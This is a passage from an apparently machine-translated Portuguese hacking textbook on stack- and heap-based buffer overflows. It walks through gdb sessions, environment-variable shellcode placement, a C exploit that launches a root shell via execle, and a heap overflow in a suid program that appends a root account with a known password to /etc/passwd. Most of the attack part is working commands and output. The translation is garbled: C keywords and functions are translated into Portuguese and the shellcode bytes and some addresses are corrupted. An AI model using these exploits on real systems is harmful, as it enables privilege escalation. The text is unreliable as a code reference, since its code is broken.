-q ./notesearch</p><p>Usando a biblioteca host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".</p><p>(gdb) quebra principal</p><p>Ponto de parada 1 a</p><p>0x804873c (gdb) rodar</p><p>Programa inicial: /home/reader/bookrc/notesearch</p><p>Ponto de parada 1, 0x0804873c no</p><p>principal () (gdb)</p><p>Exploração 159</p><p>Um ponto de parada é estabelecido no início do main(), e o programa é</p><p>executado. Isto irá configurar a memória para o programa, mas irá parar</p><p>antes que algo aconteça. Agora podemos examinar a memória perto do</p><p>fundo da pilha.</p><p>(gdb) i r esp</p><p>esp 0xbffff660 0xbffff660</p><p>(gdb) x/24s $esp + 0x240</p><p>0xbffff8a0: ""</p><p>0xbffff8a1: ""</p><p>0xbffff8a2: ""</p><p>0xbffff8a3: ""</p><p>0xbffff8a4: ""</p><p>0xbffff8a5: ""</p><p>0xbffff8a6: ""</p><p>0xbffff8a7: ""</p><p>0xbffff8a8: ""</p><p>0xbffff8a9: ""</p><p>0xbffff8aa: ""</p><p>0xbffff8ab: "i686"</p><p>0xbffff8b0: "/home/reader/bookrc/notesearch"</p><p>0xbffff8d0: "SSH_AGENT_PID=7531"</p><p>0xbffffd56: "SHELLCODE=", '\220' <repetições 190 vezes>...</p><p>0xbffff9ab: "\220\220\220\220\220\220\220\220\220\2201�1�1�\231���\200j\vXQh//</p><p>shh/bin\211�Q\211�S\211��\200"</p><p>0xbffff9d9: "TERM=xterm"</p><p>0xbffff9e4: "DESKTOP_STARTUP_ID="</p><p>0xbffff9f8: "SHELL=/bin/bash"</p><p>0xbffffa08: "GTK_RC_FILES=/etc/gtk/gtkrc:/home/reader/.gtkrc-1.2-gnome2"</p>
<p>0xbffffa43: "WINDOWID=39845969"</p><p>0xbffffa55: "USER=reader"</p><p>0xbffffa61:</p><p>"LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=</p><p>40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01</p><p>;31:*.taz=0"...</p><p>0xbffffb29:</p><p>"1;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.deb=01;31:*.rpm=01;3</p><p>1:*.jar=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01</p><p>;35:*.tga=0"...</p><p>(gdb) x/s 0xbffff8e3</p><p>0xbffff8e3: "SHELLCODE=", '\220' <repeats 190 vezes>...</p><p>(gdb) x/s 0xbffff8e3 + 100</p><p>0xbffff947: \220' <repeats 110 vezes>, "1�1ï½1ï½\231�ï½ï_½\200j\vXQh//shh/bin}</p><p>211�Q\211�S\211��\200"</p><p>(gdb)</p><p>O depurador revela a localização do código de shell, mostrado em negrito</p><p>acima. (Quando o programa é executado fora do depurador, estes endereços</p><p>podem ser um pouco diferentes). O depurador também tem algumas</p><p>informações sobre a pilha, o que desloca um pouco os endereços. Mas com</p><p>um trenó NOP de 200 bytes, estas inconsistências não são um problema se</p><p>um endereço próximo ao meio do trenó for escolhido. Na saída acima, o</p><p>endereço 0xbffff947 mostra-se perto do meio do trenó do NOP, o que deve</p><p>nos dar espaço suficiente para agitarmos. Após determinar o endereço das</p><p>160 0x</p><p>3 0 0</p><p>instruções do código da concha injetada, a exploração é simplesmente uma</p><p>questão de sobrescrever o endereço de retorno com este endereço.</p><p>Exploração 161</p><p>reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\x47\xf9xff\xbf "x40') [DEBUG]</p><p>encontrou uma nota de 34 bytes para a identificação do usuário 999</p><p>[DEBUG] encontrou uma nota de 41 bytes para a identificação do usuário 999</p><p>-------[ dados no final da nota ]------</p><p>- sh-3.2# whoami</p><p>sh-3.2#</p><p>raiz</p><p>O endereço alvo é repetido vezes suficientes para transbordar o endereço de</p><p>retorno, e a execução retorna ao trenó NOP na variável ambiente, o que</p><p>inevitavelmente leva ao código de shell. Em situações onde o buffer de</p><p>estouro não é grande o suficiente para conter o código shell, uma variável de</p><p>ambiente pode ser usada com um trenó NOP grande. Isto geralmente torna</p><p>as explorações um pouco mais fáceis.</p><p>Um enorme trenó NOP é uma grande ajuda quando você precisa</p><p>adivinhar os endereços de retorno alvo, mas acontece que as localizações das</p><p>variáveis do ambiente são mais fáceis de prever do que as localizações das</p><p>variáveis da pilha local. Na biblioteca padrão de C há uma função chamada</p><p>getenv(), que aceita o nome de uma variável de ambiente como seu único</p><p>argumento e retorna o endereço de memória dessa variável. O código em</p><p>getenv_example.c demonstra o uso de getenv().</p><p>getenv_example.c</p><p>#include <stdio.h></p><p>#include <stdlib.h></p><p>int main(int argc, char *argv[]) {</p><p>printf("%s está em %p\n", argv[1], getenv(argv[1]));</p><p>}</p><p>Quando compilado e executado, este programa exibirá a localização de um</p><p>determinado</p><p>variável de ambiente em sua memória. Isto fornece uma previsão muito mais</p><p>precisa de onde a mesma variável de ambiente estará quando o programa alvo</p><p>for executado.</p><p>reader@hacking:~/booksrc $ gcc getenv_example.c</p><p>reader@hacking:~/booksrc $ ./a.out SHELLCODE</p><p>SHELLCODE está em 0xbffff90b</p><p>reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\x0b\xf9xff\xbf "x40') [DEBUG]</p><p>encontrou uma nota de 34 bytes para a identificação do usuário 999</p><p>[DEBUG] encontrou uma nota de 41 bytes para a identificação do usuário 999</p><p>-------[ dados do final da nota ]-----</p><p>-- sh-3.2#</p><p>Isto é suficientemente preciso com um grande trenó NOP, mas quando a</p><p>mesma coisa é tentada sem um trenó, o programa trava. Isto significa que a</p><p>previsão ambiental ainda está errada.</p><p>reader@hacking:~/booksrc $ export SLEDLESS=$(cat shellcode.bin) reader@hacking:~/booksrc</p><p>162 0x</p><p>3 0 0</p><p>$ ./a.out SLEDLESS</p><p>SLEDLESS está em 0xbfffff46</p><p>Exploração 163</p><p>reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\x46xff\xff\xbf "x40') [DEBUG]</p><p>encontrou uma nota de 34 bytes para a identificação do usuário 999</p><p>[DEBUG] encontrou uma nota de 41 bytes para a identificação do usuário 999</p><p>-------[ dados finais da nota ]-------</p><p>Leitor de falhas de</p><p>segmentação@hacking:~/booksrc $</p><p>Para poder prever um endereço de memória exato, as diferenças nos</p><p>endereços devem ser exploradas. A extensão do nome do programa sendo</p><p>executado parece ter um efeito sobre o endereço das variáveis do</p><p>ambiente. Este efeito pode ser ainda mais explorado alterando-se o nome</p><p>do programa e experimentando. Este tipo de experimentação e</p><p>reconhecimento de padrões é uma habilidade importante para um hacker</p><p>ter.</p><p>reader@hacking:~/booksrc $ cp a.out a</p><p>reader@hacking:~/booksrc $ ./a SLEDLESS</p><p>SLEDLESS está em 0xbfffff4e</p><p>reader@hacking:~/booksrc $ cp a.out bb</p><p>reader@hacking:~/booksrc $ ./bb SLEDLESS</p><p>está em 0xbfffff4c reader@hacking:~/booksrc</p><p>$ cp a.out ccc reader@hacking:~/booksrc $</p><p>./ccc SLEDLESS SLEDLESS está em 0xbfffff4a</p><p>reader@hacking:~/booksrc $ ./a.out SLEDLESS</p><p>SLEDLESS está em 0xbfffff46</p><p>reader@hacking:~/booksrc $ gdb -q</p><p>(gdb) p 0xbfffff4e - 0xbfffff46</p><p>$1 = 8</p><p>(gdb) deixar</p><p>leitor@hacking:~/booksrc $</p><p>Como mostra a experiência anterior, a extensão do nome do programa</p><p>de execução tem um efeito sobre a localização das variáveis do ambiente</p><p>exportado. A tendência geral parece ser uma diminuição de dois bytes no</p><p>endereço da variável de ambiente para cada aumento de um byte no</p><p>comprimento do nome pro grama. Isto se aplica ao nome do programa a.out,</p><p>uma vez que a diferença de comprimento entre os nomes a.out e a é de</p><p>quatro bytes, e a diferença entre o endereço 0xbfffff4e e 0xbfffff46 é de oito</p><p>bytes. Isto deve significar que o nome do programa executor também está</p><p>localizado em algum lugar na pilha, o que está causando a mudança.</p><p>Armado com este conhecimento, o endereço exato do ambiente vari-</p><p>capaz pode ser previsto quando o programa vulnerável é executado. Isto</p><p>significa que a muleta de um trenó NOP pode ser eliminada. O programa</p><p>getenvaddr.c ajusta o endereço com base na diferença no comprimento do</p><p>nome do programa para fornecer uma previsão muito precisa.</p><p>getenvaddr.c</p><p>#include <stdio.h></p><p>#include <stdlib.h></p><p>#include <string.h></p><p>164 0x</p><p>3 0 0</p><p>int main(int argc, char *argv[]) {</p><p>char *ptr;</p><p>if(argc < 3) {</p><p>printf("Usage: %s <environment var> <target program name>\n", argv[0]);</p><p>exit(0);</p><p>}</p><p>ptr = getenv(argv[1]); /* Get env var location. */</p><p>ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Ajuste para o nome do</p><p>programa. */ printf("%s estará em %p\n", argv[1], ptr);</p><p>}</p><p>Quando compilado, este programa pode prever com precisão onde</p><p>uma variável ambiental estará na memória durante a execução de um</p><p>programa alvo. Isto pode ser usado para explorar o buffer overflows</p><p>baseado em pilha sem a necessidade de um trenó NOP.</p><p>reader@hacking:~/booksrc $ gcc -o getenvaddr getenvaddr.c</p><p>reader@hacking:~/booksrc $ ./getenvaddr SLEDLESS ./notesearch</p><p>SLEDLESS estará em 0xbfffff3c</p><p>reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\x3c\xff\xbf "x40')</p><p>[DEBUG] encontrou uma nota de 34 bytes para a identificação do usuário 999</p><p>[DEBUG] encontrou uma nota de 41 bytes para a identificação do usuário 999</p><p>Como você pode ver, o código de exploração nem sempre é necessário</p><p>para explorar programas. O uso de variáveis de ambiente simplifica</p><p>consideravelmente as coisas ao explorar a partir da linha de comando, mas</p><p>estas variáveis também podem ser usadas para tornar o código de exploit</p><p>mais confiável.</p><p>A função system() é usada no programa noteearch_exploit.c para</p><p>executar um comando. Esta função inicia um novo processo e executa o com-</p><p>mand usando o /bin/sh -c. O -c diz ao programa sh para executar comandos a</p><p>partir do argumento de linha de comando passado a ele. A pesquisa de</p><p>código do Google pode ser usada para encontrar o código fonte para esta</p><p>função, o que nos dirá mais. Vá para</p><p>http://www.google.com/codesearch?q=package:libc+system para ver este</p><p>código em sua totalidade.</p><p>Código da libc-2.2.2</p><p>int sistema(const char * cmd)</p><p>{</p><p>int ret, pid, waitstat;</p><p>nulo (*sigint) (), (*sigquit) ();</p>
<p>se ((pid = garfo()) == 0) {</p><p>execl("/bin/sh", "sh", "-c", cmd, NULL);</p><p>saída(127);</p><p>}</p><p>if (pid < 0) return(127 << 8); sigint</p><p>= sinal(SIGINT, SIG_IGN); sigquit =</p><p>sinal(SIGQUIT, SIG_IGN);</p><p>enquanto ((waitstat = wait(&ret)) != pid && waitstat != -</p><p>http://www.google.com/codesearch?q=package%3Alibc%2Bsystem</p><p>Exploração 165</p><p>1); se (waitstat == -1) ret = -1;</p><p>166 0x</p><p>3 0 0</p><p>sinal(SIGINT, sigint);</p><p>sinal(SIGQUIT, sigquit);</p><p>retorno(ret);</p><p>}</p><p>A parte importante desta função é mostrada em negrito. A função</p><p>garfo()</p><p>inicia um novo processo, e a função execl() é usada para executar o</p><p>comando através do /bin/sh com os argumentos apropriados da linha de</p><p>comando.</p><p>O uso do sistema() às vezes pode causar problemas. Se um programa</p><p>setuid usa system(), os privilégios não serão transferidos, porque o /bin/sh</p><p>tem deixado de ter privilégios desde a versão dois. Este não é o caso do nosso</p><p>exploit, mas o exploit também não precisa estar iniciando um novo processo.</p><p>Podemos ignorar o garfo() e apenas focar na função execl() para executar o</p><p>comando.</p><p>A função execl() pertence a uma família de funções que executam</p><p>com- mands, substituindo o processo atual pelo novo processo. Os</p><p>argumentos para execl() começam com o caminho para o programa alvo e</p><p>são seguidos por cada um dos argumentos da linha de comando. O segundo</p><p>argumento da função é na verdade o argumento da linha de comando zeroth,</p><p>que é o nome do programa. O último argumento é um NULL para encerrar a</p><p>lista de argumentos, semelhante a como um byte nulo encerra uma string.</p><p>A função execl() tem uma função irmã chamada execle(), que tem um</p><p>argumento adicional para especificar o ambiente sob o qual o processo de</p><p>execução deve ser executado. Este ambiente é apresentado na forma de um</p><p>array de apontadores para strings com termo nulo para cada variável de</p><p>ambiente, e o próprio array de ambiente é encerrado com um ponteiro</p><p>NULL.</p><p>Com execl(), o ambiente existente é usado, mas se você usar execl(), o</p><p>ambiente inteiro pode ser especificado. Se a matriz do ambiente for</p><p>apenas o código shell como a primeira string (com um ponteiro NULL para</p><p>terminar a lista), a única variável de ambiente será o código shell. Isto</p><p>torna seu endereço fácil de calcular. No Linux, o endereço será 0xbffffa,</p><p>menos o comprimento do código da shell no ambiente, menos o</p><p>comprimento do nome do programa executado. Como este endereço será</p><p>exato, não há necessidade de um trenó NOP. Tudo o que é necessário no</p><p>buffer de exploração é o endereço, repetido vezes suficientes para</p><p>transbordar o endereço de retorno na pilha, como mostrado em</p><p>exploit_nosearch_env.c.</p><p>exploit_notesearch_env.c</p><p>#include <stdio.h></p><p>#include <stdlib.h></p><p>#include <string.h></p><p>#include <unistd.h></p><p>char shellcode[]= "\x31xc0\x31xdb\x31xc9x99\xb0\xxx4\xcd\x80\x6ax0b\x58\x51\x68"</p><p>"\ x 2 f \ x 2 f \ x 7 3 x 6 8 \ x 6 8 x 2 f \ x 6 2 \ x 6 9 \ x 6 e \ x 8 9</p><p>x 3 \ x 5 1 \ x 8 9 x 2 \ x 5 3 \ x 8 9 " "\x1\xcd\x80" "\x1\xcd\x80";</p><p>Exploração 167</p><p>int main(int argc, char *argv[]) {</p><p>char *env[2] = { s h e l l c o d e ,</p><p>0}; unsigned int i, ret;</p><p>168 0x</p><p>3 0 0</p><p>char *buffer = (char *) malloc(160);</p><p>ret = 0xbffffa - (sizeof(shellcode)-1) - strlen("./notesearch"); for(i=0; i</p><p>< 160; i+=4)</p><p>*((unsigned int *)(buffer+i)) = ret;</p><p>execle("./notesearch", "notesearch", buffer, 0, env);</p><p>free(buffer);</p><p>}</p><p>Esta exploração é mais confiável, já que não precisa de um trenó NOP ou</p><p>qualquer adivinhação a respeito de compensações. Além disso, não inicia</p><p>nenhum processo adicional.</p><p>reader@hacking:~/booksrc $ gcc exploit_notesearch_env.c</p><p>reader@hacking:~/booksrc $ ./a.out</p><p>-------[ dados do final da nota ]-----</p><p>-- sh-3.2#</p><p>0x340 Sobrefluxos em outros segmentos</p><p>O transbordamento de amortecedores pode acontecer em outros segmentos</p><p>de memória, como pilha e bss. Como no auth_overflow.c, se uma variável</p><p>importante for localizada após um buffer vulnerável a um estouro, o fluxo de</p><p>controle do programa pode ser alterado. Isto é verdade independentemente</p><p>do segmento de memória em que estas variáveis residem; no entanto,</p><p>o controle tende a ser bastante limitado. Ser capaz de encontrar estes pontos</p><p>de controle e aprender a aproveitá-los ao máximo requer apenas alguma</p><p>experiência e pensamento criativo. Embora estes tipos de transbordos não</p><p>sejam tão padronizados quanto os transbordos por pilha, eles podem ser tão</p><p>eficazes.</p><p>0x341 Um transbordo básico com base em pilhas</p><p>O programa de anotações do Capítulo 2 também é suscetível a uma</p><p>vulnerabilidade de excesso de fluxo tampão. Dois buffers são alocados na</p><p>pilha, e o primeiro argumento de linha de comando é copiado para o</p><p>primeiro buffer. Um estouro pode ocorrer aqui.</p><p>Trecho do notetaker.c</p><p>buffer = (char *) ec_malloc(100); datafile</p><p>= (char *) ec_malloc(20); strcpy(datafile,</p><p>"/var/notes");</p><p>if(argc < 2) // Se não houver argumentos de linha de</p><p>comando, uso(argv[0], datafile); // exibir mensagem de uso e</p><p>saída.</p><p>strcpy(buffer, argv[1]); // Copiar em buffer.</p><p>Exploração 169</p><p>tampão printf("[DEBUG] tampão @ %p: \%s'\n", buffer,</p><p>buffer); printf("[DEBUG] datafile @ %p: \n", datafile, datafile);</p><p>170 0x</p><p>3 0 0</p><p>Em condições normais, a alocação do buffer está localizada em 0x804a008,</p><p>que está antes da alocação do datafile em 0x804a070, como mostra a saída de</p><p>depuração. A distância entre estes dois endereços é de 104 bytes.</p><p>reader@hacking:~/booksrc $ ./notetaker test</p><p>[DEBUG] buffer @ 0x804a008: 'test'</p><p>[DEBUG] datafile @ 0x804a070: '/var/notes'</p><p>[DEBUG] descritor de arquivo é 3</p><p>Nota foi salva.</p><p>reader@hacking:~/booksrc $ gdb -q</p><p>(gdb) p 0x804a070 - 0x804a008</p><p>$1 = 104</p><p>(gdb) deixar</p><p>leitor@hacking:~/booksrc $</p><p>Como o primeiro buffer é nulo, a quantidade máxima de dados que pode</p><p>ser colocada neste buffer sem transbordar para o próximo deve ser de 104</p><p>bytes.</p><p>reader@hacking:~/booksrc $ ./notetaker $(perl -e 'print "A "x104')</p><p>[DEBUG] buffer@ 0x804a008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'</p><p>[DEBUG] datafile @ 0x804a070: ''</p><p>[!!] Erro Fatal no principal() durante a abertura do arquivo: Não há tal arquivo ou</p><p>leitor de diretório@hacking:~/booksrc $</p><p>Como previsto, quando 104 bytes são tentados, o byte de terminação</p><p>nula flui em excesso para o início do buffer de dados. Isto faz com que o</p><p>arquivo de dados não seja nada além de um único byte nulo, que obviamente</p><p>não pode ser aberto como um arquivo. Mas e se o buffer de datafile for</p><p>sobrescrito com algo mais do que apenas um byte nulo?</p><p>reader@hacking:~/booksrc $ ./notetaker $(perl -e 'print "A "x104 . "test file"')</p><p>[DEBUG] buffer@ 0x804a008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtestfile'</p><p>[DEBUG] datafile @ 0x804a070: 'test file'</p><p>[DEBUG] descritor de arquivo é 3</p><p>A nota foi salva.</p><p>*** glibc detectado *** ./notetaker: livre(): inválido próximo tamanho (normal): 0x0804a008 ***</p><p>======= Backtrace: =========</p><p>/lib/tls/i686/cmov/libc.so.6[0xb7f017cd]</p><p>/lib/tls/i686/cmov/libc.so.6(cfree+0x90)[0xb7f04e30]</p><p>./notetaker[0x8048916]</p><p>/lib/tls/i686/cmov/libc.so.6( libc_start_main+0xdc)[0xb7eafebc]</p><p>./notetaker[0x8048511]</p><p>======= Mapa de memória: ========</p><p>08048000-08049000 r-xp 00000000 00:0f 44384 /cow/home/reader/bookrc/notetaker</p><p>08049000-0804a000 rw-p 00000000 00:0f 44384 /cow/home/reader/bookrc/notetaker</p><p>0804a000-0806b000 rw-p 0804a000 00:00 0 [pilha]</p><p>b7d00000-b7d21000 rw-p b7d00000 00:00 0</p><p>b7d21000-b7e00000 ---p b7d21000 00:00 0</p><p>b7e83000-b7e8e000 r-xp 00000000 07:00 15444 /rofs/lib/libgcc_s.so.1</p><p>b7e8e8e000-b7e8f000 rw-p 0000a000 07:00 15444 /rofs/lib/libgcc_s.so.1</p><p>Exploração 171</p><p>b7e99000-b7e9a000 rw-p b7e99000 00:00 0</p><p>b7e9a000-b7fd5000 r-xp 00000000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so</p><p>b7fd5000-b7fd6000 r--p 0013b000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so</p><p>b7fd6000-b7fd8000 rw-p 0013c000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so</p><p>b7fd8000-b7fdb000 rw-p b7fd8000 00:00 0</p><p>b7fe4000-b7fe7000 rw-p b7fe4000 00:00 0</p><p>b7fe7000-b8000000 r-xp 00000000 07:00 15421 /rofs/lib/ld-2.5.so</p>
<p>b8000000-b8002000 rw-p 00019000 07:00 15421 /rofs/lib/ld-2.5.so</p><p>bffeb000-c0000000 rw-p bffeb000 00:00 0 [empilhar]</p><p>ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]</p><p>Abortado</p><p>reader@hacking:~/booksrc $</p><p>Desta vez, o transbordo é projetado para sobregravar o buffer de dados</p><p>com o arquivo de teste de cordas. Isto faz com que o programa escreva para o</p><p>arquivo de teste em vez de</p><p>/var/notas, como foi originalmente programado para fazer. Entretanto,</p><p>quando a memória da pilha é liberada pelo comando free(), erros nos</p><p>cabeçalhos da pilha são detectados e o programa é encerrado. Similar</p><p>ao endereço de retorno sobrescrito com estouros de pilha, existem</p><p>pontos de controle dentro da própria arquitetura da pilha. A versão mais</p><p>recente da glibc usa funções de gerenciamento de memória heap que</p><p>evoluíram especificamente para combater ataques de destravamento de</p><p>heap. Desde a versão 2.2.5, estas funções foram reescritas para imprimir</p><p>informações de depuração e encerrar o programa quando detectam</p><p>problemas com as informações do cabeçalho da pilha. Isto torna o</p><p>desvinculamento do heap no Linux muito difícil. Entretanto, esta</p><p>exploração particular não usa as informações do cabeçalho do heap para</p><p>fazer sua mágica, portanto, no momento em que a função free() for</p><p>chamada, o programa já terá sido enganado para escrever em um novo</p><p>arquivo com privilégios de raiz.</p><p>reader@hacking:~/booksrc $ grep -B10 notetaker.c gratuito</p><p>if(write(fd, buffer, strlen(buffer)) == -1) // Escrever nota.</p><p>fatal("in main() while writing buffer to file");</p><p>escrever(fd, "\n", 1); // Terminar linha.</p><p>// Arquivo de</p><p>fechamento</p><p>if(close(fd) == -1)</p><p>fatal("in main() while closing file");</p><p>printf("Note has been saved.\n");</p><p>free(buffer);</p><p>grátis(datafile);</p><p>reader@hacking:~/booksrc $ ls -l ./testfile</p><p>-rw------- 1 root reader 118 2007-09-09 16:19 ./testfile</p><p>reader@hacking:~/booksrc $ cat ./testfile</p><p>gato: ./ arquivo de teste: Permissão negada</p><p>leitor@hacking:~/booksrc $ sudo cat ./arquivo de</p><p>teste</p><p>172 0x</p><p>3 0 0</p><p>?</p><p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p><p>AAAAAAAAAAAAAAAAAAAAA</p><p>AAAAAAAAA Testfile</p><p>reader@hacking:~/booksrc $</p><p>Exploração 173</p><p>Uma string é lida até que um byte nulo seja encontrado, então a string</p><p>inteira é escrita no arquivo como a entrada do usuário. Como este é um</p><p>programa suid root, o arquivo que é criado é de propriedade da raiz. Isto</p><p>também significa que, como o nome do arquivo pode ser controlado, os</p><p>dados podem ser anexados a qualquer arquivo. No entanto, estes dados têm</p><p>algumas restrições; eles devem terminar com o nome do arquivo controlado,</p><p>e uma linha com o ID do usuário será escrita, também.</p><p>Existem provavelmente várias maneiras inteligentes de explorar este tipo</p><p>de capacidade. A mais aparente seria anexar algo ao arquivo /etc/passwd.</p><p>Este arquivo contém todos os nomes de usuário, IDs e shells de login para</p><p>todos os usuários do sistema. Naturalmente, este é um arquivo crítico do</p><p>sistema, então é uma boa idéia fazer uma cópia de segurança antes de mexer</p><p>demais com ele.</p><p>reader@hacking:~/booksrc $ cp /etc/passwd /tmp/passwd.bkup</p><p>reader@hacking:~/booksrc $ head /etc/passwd</p><p>root:x:0:0:0:root:/root:/bin/bash</p><p>daemon:x:1:1:daemon:/usr/sbin:/bin/sh</p><p>bin:x:2:2:bin:/bin:/bin/bin/sh</p><p>sys:x:3:3:sys:/dev:/bin/sh</p><p>sync:x:4:65534:sync:/bin:/bin/sync</p><p>games:x:5:60:games:/usr/games:/bin/sh</p><p>man:x:6:12:man:/var/cache/man:/bin/sh</p><p>lp:x:7:7:lp:/var/spool/lpd:/bin/sh</p><p>mail:x:8:8:mail:/var/mail:/bin/sh</p><p>news:x:9:9:news:/var/spool/news:/bin/sh</p><p>reader@hacking:~/booksrc $</p><p>Os campos no arquivo /etc/passwd são delimitados por dois pontos,</p><p>sendo o primeiro campo para nome de login, depois senha, ID de usuário,</p><p>ID de grupo, nome de usuário, diretório home e, finalmente, a shell de</p><p>login. Os campos da senha são todos preenchidos com o caractere x, já que</p><p>as senhas criptografadas são armazenadas em outro lugar em um arquivo-</p><p>sombra. (Entretanto, este campo pode conter a senha criptografada).</p><p>Além disso, qualquer entrada no arquivo de senha que tenha um ID de</p><p>usuário 0 terá privilégios de root. Isso significa que o objetivo é anexar uma</p><p>entrada extra com privilégios de root e uma senha conhecida ao arquivo de</p><p>senha.</p><p>A senha pode ser criptografada usando um algoritmo de hashing</p><p>unidirecional.</p><p>Como o algoritmo é um caminho, a senha original não pode ser recriada a</p><p>partir do valor do hash. Para evitar ataques de busca, o algoritmo usa um</p><p>valor de sal, que quando variado cria um valor de hash diferente para a</p><p>mesma senha de entrada. Esta é uma operação comum, e Perl tem uma</p><p>função de criptografia() que a executa. O primeiro argumento é a senha, e o</p><p>segundo é o valor de sal. A mesma senha com um sal diferente produz um sal</p><p>diferente.</p><p>reader@hacking:~/booksrc $ perl -e 'print crypt("password", "AA"). "\n"'</p><p>AA6tQYSfGxd/A</p><p>reader@hacking:~/booksrc $ perl -e 'print crypt("password", "XX"). "\n"'</p><p>174 0x</p><p>3 0 0</p><p>XXq2wKiyI43A2</p><p>reader@hacking:~/booksrc $</p><p>Observe que o valor do sal está sempre no início do haxixe. Quando um</p><p>usuário faz login e digita uma senha, o sistema procura a senha criptografada</p><p>Exploração 175</p><p>para esse usuário. Usando o valor sal da senha criptografada armazenada, o</p><p>sistema usa o mesmo algoritmo de hashing unidirecional para criptografar</p><p>qualquer texto que o usuário tenha digitado como senha. Finalmente, o</p><p>sistema compara os dois hashes; se forem os mesmos, o usuário deve ter</p><p>inserido a senha correta. Isto permite que a senha seja usada para</p><p>autenticação sem exigir que a senha seja armazenada em qualquer lugar do</p><p>sistema.</p><p>Usando um desses hashes no campo da senha, a senha para a conta</p><p>será senha, independentemente do valor de sal utilizado. A linha a anexar</p><p>ao /etc/passwd deve ser algo parecido com isto:</p><p>myroot:XXq2wKiyI43A2:0:0:me:/root:/bin/bash</p><p>No entanto, a natureza desta exploração particular de transbordamento de</p><p>pilha não permitirá que essa linha exata seja escrita para /etc/passwd, porque</p><p>a corda deve terminar com</p><p>/etc/passwd. Entretanto, se esse nome de arquivo for meramente anexado</p><p>ao final da entrada, a entrada do arquivo de senhas estaria incorreta. Isto</p><p>pode ser compensado com o uso inteligente de um link de arquivo simbólico,</p><p>de modo que a entrada pode terminar ambos com</p><p>/etc/passwd e ainda ser uma linha válida no arquivo de senhas. Veja como</p><p>funciona:</p><p>reader@hacking:~/booksrc $ mkdir /tmp/etc</p><p>reader@hacking:~/booksrc $ ln -s /bin/bash /tmp/etc/passwd</p><p>reader@hacking:~/booksrc $ ls -l /tmp/etc/passwd</p><p>leitor lrwxrwxrwx 1 leitor 9 2007-09-09 16:25 /tmp/etc/passwd -> /bin/bash</p><p>reader@hacking:~/booksrc $</p><p>Agora /tmp/etc/passwd aponta para a concha de login /bin/bash. Isto</p><p>significa que uma shell de login válida para o arquivo de senha é também</p><p>/tmp/etc/passwd, tornando o seguinte uma linha de arquivo de senha</p><p>válida:</p><p>myroot:XXq2wKiyI43A2:0:0:me:/root:/tmp/etc/passwd</p><p>Os valores desta linha só precisam ser ligeiramente modificados para que</p><p>a porção antes do /etc/passwd tenha exatamente 104 bytes de</p><p>comprimento:</p><p>reader@hacking:~/booksrc $ perl -e 'print "myroot:XXq2wKiyI43A2:0:0:me:/root:/tmp"" | wc -c</p><p>38</p><p>reader@hacking:~/booksrc $ perl -e 'print "myroot:XXq2wKiyI43A2:0:0:0:" . "A "x50 . ":/root:/tmp"''.</p><p>| wc -c</p><p>86</p><p>reader@hacking:~/booksrc $ gdb -q</p><p>(gdb) p 104 - 86 + 50</p><p>$1 = 68</p><p>(gdb) desistir</p><p>reader@hacking:~/booksrc $ perl -e 'print "myroot:XXq2wKiyI43A2:0:0:0:" . "A "x68 . ":/root:/tmp"'' .</p><p>| wc -c</p><p>176 0x</p><p>3 0 0</p><p>104</p><p>reader@hacking:~/booksrc $</p><p>Se o /etc/passwd for adicionado ao final dessa cadeia final (mostrado em</p><p>negrito), a cadeia acima será anexada ao final do arquivo /etc/passwd. E</p><p>como esta linha define uma conta com privilégios de raiz com uma senha que</p><p>definimos, ela não</p><p>Exploração 177</p><p>ser difícil acessar esta conta e obter acesso root, como mostra a seguinte saída.</p><p>reader@hacking:~/booksrc $ ./notetaker $(perl -e 'print "myroot:XXq2wKiyI43A2:0:0:0:" . "A "x68 .</p><p>":/root:/tmp/etc/passwd")</p><p>[DEBUG] buffer@ 0x804a008:</p><p>'myroot:XXq2wKiyI43A2:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p>
